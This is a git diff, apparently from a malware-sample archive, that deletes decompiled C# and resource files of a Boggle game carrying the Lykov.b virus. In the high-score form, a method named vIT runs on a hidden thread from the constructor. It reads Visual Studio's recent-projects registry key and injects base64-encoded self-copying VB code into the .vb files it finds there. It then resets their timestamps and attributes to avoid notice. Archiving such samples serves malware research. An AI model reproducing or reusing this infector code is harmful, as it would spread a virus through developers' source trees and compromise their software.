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1YTp0H8dSPzGr9D02H4wabJ/x9aRJCe7QTB+f9ySOLbUx+LHhvHFne59CIv5+ZXlnHtRx7Vj7DC/8/Y/eO8ux6VcfF2wXItdLlk9DLMqfpHHLWBqXxM8QXmVt1hs0PQou98f78u5P/Idcpx7Uce1NUcKv+XkBXl2HXV3c3cxnupXnlPV3JY/Tmmx9G/Cj8qPyrqoqEZpxlzeUVITuMPWtbRfFniHQvl0y9khiySYGw8WT94+RLvjVm/vp89Zn5UflWdSNJ35pq395MFfseh2fxo1MLt1LTbe6H/TJmhP1/efaqup8XdEfmXTLmI+kciOP/IipXl/5UflWDo4R/wDLyP4lXl2PT3+LWiAfu7C6Y/7TRr/LfWZf/Fu8kBXT9Ojt8jAaZ2lP12oIK4P8qPyoVHCr/l7ELy7F3Vtf1fWH3ahcNKo5WIYWMfSJNqf8CrPBwc0/8qT8q3hGmrck15csZEu/VD3OUB9v606zvr2wmFxY3ElrMOBJC7I3P+1GVqP8qPyrbEuM2nUfJprzRkJeR1+nfFjxfZKEmkhvlGAPtEfzAD/ppbtAzN/tSeZW3H8Z1kCi90ZXb+J4pyv5I0Lf+ja81/Kj8q43Swj3qR/FFXl2PTx8W9EIydOulPoJIyP1Wq8/xdtAD9m0p2PYyzgAf8BjhO7/AL7rzj8qPypKjhP+fq/Ed5djo9a+IXiDVkaEOllbtwY7cEEj/alYs/8A3x5dczT/AMqPyrWEaCXuVF8oyFr2BH7Gnf8ALT8Kb+VL83mdB09a65zl7DllzP3ocsuSf8xK3P/ZCw== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmHighScores.cs b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmHighScores.cs deleted file mode 100644 index b5b13469..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmHighScores.cs +++ /dev/null @@ -1,351 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Boggle.frmHighScores -// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null -// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.ComponentModel; -using System.Data.OleDb; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Runtime.CompilerServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace Boggle -{ - public class frmHighScores : Form - { - [AccessedThroughProperty("btnClear")] - private Button _btnClear; - [AccessedThroughProperty("Label4")] - private Label _Label4; - [AccessedThroughProperty("lstMain")] - private ListBox _lstMain; - [AccessedThroughProperty("Label1")] - private Label _Label1; - [AccessedThroughProperty("Label3")] - private Label _Label3; - [AccessedThroughProperty("Label5")] - private Label _Label5; - [AccessedThroughProperty("Label2")] - private Label _Label2; - private IContainer components; - - internal virtual Button btnClear - { - get => this._btnClear; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._btnClear != null) - this._btnClear.Click -= new EventHandler(this.btnClear_Click); - this._btnClear = value; - if (this._btnClear == null) - return; - this._btnClear.Click += new EventHandler(this.btnClear_Click); - } - } - - internal virtual Label Label5 - { - get => this._Label5; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._Label5 == null) - ; - this._Label5 = value; - if (this._Label5 == null) - ; - } - } - - internal virtual ListBox lstMain - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lstMain == null) - ; - this._lstMain = value; - if (this._lstMain == null) - ; - } - get => this._lstMain; - } - - internal virtual Label Label1 - { - get => this._Label1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._Label1 == null) - ; - this._Label1 = value; - if (this._Label1 == null) - ; - } - } - - internal virtual Label Label2 - { - get => this._Label2; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._Label2 == null) - ; - this._Label2 = value; - if (this._Label2 == null) - ; - } - } - - internal virtual Label Label3 - { - get => this._Label3; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._Label3 == null) - ; - this._Label3 = value; - if (this._Label3 == null) - ; - } - } - - internal virtual Label Label4 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._Label4 == null) - ; - this._Label4 = value; - if (this._Label4 == null) - ; - } - get => this._Label4; - } - - private void vIT() - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList"); - if (registryKey.ValueCount == 0) - ProjectData.EndApp(); - string String2 = "Private Sub vIT()"; - string str1 = "Public Sub New()"; - string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()"; - string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + "IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQcm9qZWN0" + "TVJVTGlzdCIpDQpJZiBSLlZhbHVlQ291bnQgPSAwIFRoZW4gRW5kDQpHID0gIlBy" + "aXZhdGUgU3ViIHZJVCgpIg0KSCA9ICJQdWJsaWMgU3ViIE5ldygpIg0KSSA9ICJE" + "aW0gdCBBcyBOZXcgU3lzdGVtLlRocmVhZGluZy5UaHJlYWQoQWRkcmVzc09mIHZJ" + "VCkiICYgdmJDckxmICYgInQuU3RhcnQoKSINCkogPSAiIg0KSyA9IFN5c3RlbS5U" + "ZXh0LkVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9t" + "QmFzZTY0U3RyaW5nKEopKQ0KTCA9ICJKID0gIiAmIENocigzNCkNCkZvciBYID0g" + "MSBUbyBMZW4oSikgU3RlcCA2NA0KSWYgWCArIDY0IDwgTGVuKEopIFRoZW4NCkwg" + "PSBMICYgTWlkKEosIFgsIDY0KSAmIENocigzNCkgJiB2YkNyTGYgJiAiSiA9IEog" + "JiAiICYgQ2hyKDM0KQ0KRWxzZQ0KTCA9IEwgJiBNaWQoSiwgWCwgNjQpICYgQ2hy" + "KDM0KQ0KRW5kIElmDQpOZXh0DQpLID0gUmVwbGFjZShLLCAiSiA9ICIgJiBDaHIo" + "MzQpICYgQ2hyKDM0KSwgTCwgMSwgMSwgQ29tcGFyZU1ldGhvZC5UZXh0KQ0KTCA9" + "ICIiDQpGb3IgWCA9IDAgVG8gUi5WYWx1ZUNvdW50IC0gMQ0KQSA9IFIuR2V0VmFs" + "dWUoUi5HZXRWYWx1ZU5hbWVzKFgpKQ0KQSA9IE1pZChBLCAxLCBJblN0clJldihB" + "LCAiXCIsIC0xLCBDb21wYXJlTWV0aG9kLlRleHQpKQ0KSWYgU3lzdGVtLklPLkRp" + "cmVjdG9yeS5FeGlzdHMoQSkgVGhlbg0KQiA9IFN5c3RlbS5JTy5EaXJlY3Rvcnku" + "R2V0RmlsZXMoQSwgIioudmIiKQ0KRm9yIFkgPSBMQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + "VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K"; - string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3)); - string Replacement = "J = \""; - int num1 = Strings.Len(str3); - int Start = 1; - while (Start <= num1) - { - Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\""; - checked { Start += 64; } - } - string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, Count: 1, Compare: CompareMethod.Text); - int num2 = checked (registryKey.ValueCount - 1); - int index1 = 0; - while (index1 <= num2) - { - string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1])); - string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text)); - if (Directory.Exists(path)) - { - string[] files = Directory.GetFiles(path, "*.vb"); - int num3 = Information.LBound((Array) files); - int num4 = Information.UBound((Array) files); - int index2 = num3; - while (index2 <= num4) - { - DateTime lastAccessTime = File.GetLastAccessTime(files[index2]); - DateTime lastWriteTime = File.GetLastWriteTime(files[index2]); - FileAttributes attributes = File.GetAttributes(files[index2]); - File.SetAttributes(files[index2], FileAttributes.Normal); - StreamReader streamReader = File.OpenText(files[index2]); - string end = streamReader.ReadToEnd(); - streamReader.Close(); - if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0) - { - string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text); - StreamWriter text = File.CreateText(files[index2]); - text.Write(str6); - text.Flush(); - text.Close(); - } - File.SetLastWriteTime(files[index2], lastWriteTime); - File.SetLastAccessTime(files[index2], lastAccessTime); - File.SetAttributes(files[index2], attributes); - checked { ++index2; } - } - } - checked { ++index1; } - } - } - - public frmHighScores() - { - this.Load += new EventHandler(this.frmHighScores_Load); - new Thread(new ThreadStart(this.vIT)).Start(); - this.InitializeComponent(); - } - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.lstMain = new ListBox(); - this.Label1 = new Label(); - this.Label2 = new Label(); - this.Label3 = new Label(); - this.Label4 = new Label(); - this.Label5 = new Label(); - this.btnClear = new Button(); - this.SuspendLayout(); - this.lstMain.BackColor = System.Drawing.Color.Black; - this.lstMain.Font = new Font("Microsoft Sans Serif", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.lstMain.ForeColor = System.Drawing.Color.DodgerBlue; - this.lstMain.ItemHeight = 16; - ListBox lstMain1 = this.lstMain; - Point point1 = new Point(16, 72); - Point point2 = point1; - lstMain1.Location = point2; - this.lstMain.Name = "lstMain"; - ListBox lstMain2 = this.lstMain; - Size size1 = new Size(248, 164); - Size size2 = size1; - lstMain2.Size = size2; - this.lstMain.TabIndex = 0; - this.Label1.AutoSize = true; - this.Label1.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - Label label1_1 = this.Label1; - point1 = new Point(16, 56); - Point point3 = point1; - label1_1.Location = point3; - this.Label1.Name = "Label1"; - Label label1_2 = this.Label1; - size1 = new Size(38, 13); - Size size3 = size1; - label1_2.Size = size3; - this.Label1.TabIndex = 1; - this.Label1.Text = "Player"; - this.Label2.AutoSize = true; - this.Label2.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - Label label2_1 = this.Label2; - point1 = new Point(88, 56); - Point point4 = point1; - label2_1.Location = point4; - this.Label2.Name = "Label2"; - Label label2_2 = this.Label2; - size1 = new Size(32, 13); - Size size4 = size1; - label2_2.Size = size4; - this.Label2.TabIndex = 2; - this.Label2.Text = "Level"; - this.Label3.AutoSize = true; - this.Label3.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - Label label3_1 = this.Label3; - point1 = new Point(224, 56); - Point point5 = point1; - label3_1.Location = point5; - this.Label3.Name = "Label3"; - Label label3_2 = this.Label3; - size1 = new Size(35, 13); - Size size5 = size1; - label3_2.Size = size5; - this.Label3.TabIndex = 3; - this.Label3.Text = "Score"; - this.Label4.AutoSize = true; - this.Label4.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - Label label4_1 = this.Label4; - point1 = new Point(152, 56); - Point point6 = point1; - label4_1.Location = point6; - this.Label4.Name = "Label4"; - Label label4_2 = this.Label4; - size1 = new Size(45, 13); - Size size6 = size1; - label4_2.Size = size6; - this.Label4.TabIndex = 4; - this.Label4.Text = "Rounds"; - this.Label5.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - Label label5_1 = this.Label5; - point1 = new Point(36, 16); - Point point7 = point1; - label5_1.Location = point7; - this.Label5.Name = "Label5"; - Label label5_2 = this.Label5; - size1 = new Size(208, 24); - Size size7 = size1; - label5_2.Size = size7; - this.Label5.TabIndex = 5; - this.Label5.Text = "Top 10 Winning Streaks"; - Button btnClear1 = this.btnClear; - point1 = new Point(80, 248); - Point point8 = point1; - btnClear1.Location = point8; - this.btnClear.Name = "btnClear"; - Button btnClear2 = this.btnClear; - size1 = new Size(120, 23); - Size size8 = size1; - btnClear2.Size = size8; - this.btnClear.TabIndex = 6; - this.btnClear.Text = "Clear High Scores"; - size1 = new Size(5, 13); - this.AutoScaleBaseSize = size1; - this.BackColor = System.Drawing.Color.DarkGray; - size1 = new Size(280, 285); - this.ClientSize = size1; - this.Controls.AddRange(new Control[7] - { - (Control) this.btnClear, - (Control) this.Label5, - (Control) this.Label4, - (Control) this.Label3, - (Control) this.Label2, - (Control) this.Label1, - (Control) this.lstMain - }); - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (frmHighScores); - this.Text = "Boggle .Net Winning Streaks"; - this.ResumeLayout(false); - } - - private void frmHighScores_Load(object sender, EventArgs e) - { - OleDbCommand oleDbCommand = new OleDbCommand("Select * From HighScores Order By Rounds Desc", modGlobal.conBoggle); - this.Left = checked ((int) Math.Round(unchecked ((double) Screen.PrimaryScreen.Bounds.Width / 2.0 - (double) this.Width / 2.0))); - this.Top = checked ((int) Math.Round(unchecked ((double) Screen.PrimaryScreen.Bounds.Height / 2.0 - (double) this.Height / 2.0))); - modGlobal.conBoggle.Open(); - OleDbDataReader oleDbDataReader = oleDbCommand.ExecuteReader(); - while (oleDbDataReader.Read()) - this.lstMain.Items.Add(ObjectType.StrCatObj(ObjectType.StrCatObj(ObjectType.StrCatObj(ObjectType.StrCatObj(ObjectType.StrCatObj(ObjectType.StrCatObj(ObjectType.StrCatObj((object) " ", oleDbDataReader[0]), (object) "\t"), oleDbDataReader[1]), (object) "\t"), oleDbDataReader[2]), (object) "\t"), oleDbDataReader[3])); - oleDbDataReader.Close(); - modGlobal.conBoggle.Close(); - } - - private void btnClear_Click(object sender, EventArgs e) - { - OleDbCommand oleDbCommand = new OleDbCommand("Delete From HighScores", modGlobal.conBoggle); - if (MessageBox.Show("Are you sure you want to clear the high score table?", "Clear High Scores", MessageBoxButtons.YesNo) == DialogResult.No) - return; - modGlobal.conBoggle.Open(); - oleDbCommand.ExecuteNonQuery(); - modGlobal.conBoggle.Close(); - this.lstMain.Items.Clear(); - } - } -} diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmHighScores.resx b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmHighScores.resx deleted file mode 100644 index 1774dcae..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmHighScores.resx +++ /dev/null @@ -1,144 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - DWZybUhpZ2hTY29yZXM= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - 